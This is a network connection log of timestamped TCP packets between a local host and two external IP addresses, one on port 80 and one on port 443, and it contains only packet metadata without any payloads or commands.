Nov 19, 2024 22:07:08.938440084 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.938442945 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.938457012 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.938472986 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.938488007 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.938488960 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.938504934 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.938528061 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.938544989 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.938551903 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.938563108 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.938575029 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.938594103 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.938607931 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.938651085 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.938656092 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.938707113 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.004390955 CET	443	49875	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.004602909 CET	443	49875	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.004724026 CET	49875	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.004750967 CET	49875	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.004764080 CET	443	49875	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.004776955 CET	49875	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.004782915 CET	443	49875	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.007688046 CET	49880	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.007774115 CET	443	49880	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.007868052 CET	49880	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.008059978 CET	49880	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.008096933 CET	443	49880	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.034214973 CET	443	49876	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.034269094 CET	443	49876	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.034512997 CET	49876	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.034832954 CET	49876	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.034878016 CET	443	49876	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.034912109 CET	49876	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.034928083 CET	443	49876	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.037283897 CET	49881	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.037343025 CET	443	49881	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.037432909 CET	49881	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.037599087 CET	49881	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.037636995 CET	443	49881	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.045172930 CET	443	49877	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.045372009 CET	443	49877	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.045437098 CET	49877	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.045478106 CET	49877	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.045490026 CET	443	49877	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.045499086 CET	49877	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.045504093 CET	443	49877	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.047698021 CET	49882	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.047780991 CET	443	49882	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.047875881 CET	49882	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.048024893 CET	49882	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.048053980 CET	443	49882	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.057940006 CET	443	49878	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.058042049 CET	443	49878	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.058155060 CET	443	49878	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.058260918 CET	49878	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.058260918 CET	49878	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.058260918 CET	49878	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.058260918 CET	49878	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.058357000 CET	443	49878	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.060085058 CET	49883	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.060112000 CET	443	49883	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.060198069 CET	49883	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.060370922 CET	49883	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.060395956 CET	443	49883	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.113578081 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.113646984 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.114243031 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.114310980 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.114332914 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.114387989 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.114447117 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.114479065 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.114528894 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.114533901 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.116595984 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.116657972 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.116695881 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.116749048 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.116952896 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.116982937 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.117008924 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.117100000 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.117168903 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.117206097 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.117305040 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.117316961 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.117346048 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.117392063 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.117456913 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.117516994 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.117556095 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.117607117 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.117619991 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.117647886 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.117670059 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.117701054 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.117733955 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.117767096 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.117798090 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.117850065 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.117921114 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.117928982 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.117973089 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.118026972 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.118086100 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.118103027 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.118155003 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.118228912 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.118304014 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.118395090 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.118436098 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.118462086 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.118470907 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.118525028 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.118573904 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.118583918 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.118628025 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.118705988 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.118767977 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.118793011 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.118844032 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.118853092 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.118933916 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.118943930 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.118989944 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.119026899 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.119066000 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.119103909 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.119163990 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.119210958 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.119266987 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.119329929 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.119345903 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.119360924 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.119391918 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.119457960 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.119545937 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.119601011 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.119606972 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.119653940 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.119672060 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.119718075 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.119723082 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.120007992 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.120068073 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.120208979 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.120261908 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.120299101 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.120372057 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.120376110 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.120423079 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.120426893 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.120496035 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.120544910 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.120559931 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.120590925 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.120596886 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.120620012 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.120630980 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.120655060 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.120659113 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.120708942 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.120718956 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.120750904 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.120757103 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.120786905 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.120793104 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.120799065 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.120814085 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.120837927 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.120843887 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.120872974 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.120894909 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.120899916 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.120934963 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.120966911 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.120975971 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.120986938 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.121037006 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.121073961 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.121144056 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.121217012 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.121237040 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.121270895 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.121279001 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.121321917 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.121340036 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.121342897 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.121829987 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.121886015 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.121891022 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.121948004 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.121952057 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.121968985 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.121989012 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.122019053 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.122070074 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.122102976 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.122133017 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.122133970 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.122159004 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.122172117 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.122179031 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.122179031 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.122212887 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.122276068 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.122311115 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.122339010 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.122366905 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.122369051 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.122395992 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.122421980 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.122437954 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.122437954 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.122651100 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.122711897 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.122757912 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.122793913 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.122816086 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.122838020 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.122842073 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.122854948 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.122880936 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.122914076 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.122914076 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.122929096 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.122960091 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.122973919 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.123020887 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.130125046 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.130176067 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.130186081 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.130228996 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.130230904 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.130242109 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.130260944 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.130275965 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.130276918 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.130311966 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.130332947 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.130367994 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.130378962 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.130388975 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.130402088 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.130419016 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.130426884 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.130459070 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.130462885 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.130525112 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.130534887 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.130548000 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.130598068 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.130862951 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.130878925 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.130918026 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.130950928 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.130964994 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.130981922 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.130985022 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.131036043 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.131063938 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.131095886 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.131112099 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.131140947 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.131148100 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.131186962 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.131206036 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.131217957 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.131247997 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.131253004 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.131298065 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.131306887 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.131355047 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.131371975 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.131400108 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.131412029 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.131422997 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.131443024 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.131443024 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.131464958 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.131479979 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.131494045 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.131514072 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.131531954 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.131534100 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.131552935 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.131567001 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.131582022 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.131608963 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.131620884 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.131643057 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.131656885 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.131661892 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.131701946 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.131704092 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.131763935 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.131798029 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.131843090 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.131850004 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.131889105 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.131901026 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.131901979 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.131937027 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.131937027 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.131969929 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.131983995 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.132015944 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.132020950 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.132066011 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.132077932 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.132117987 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.132165909 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.132185936 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.132200003 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.132211924 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.132256031 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.132260084 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.132272959 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.132316113 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.132328987 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.132348061 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.132360935 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.132380962 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.132400036 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.132441044 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.132452011 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.132472992 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.132486105 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.132525921 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.132533073 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.132561922 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.132577896 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.132580996 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.132610083 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.132611036 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.132658958 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.132690907 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.132721901 CET	80	49864	31.41.244.11	192.168.2.4
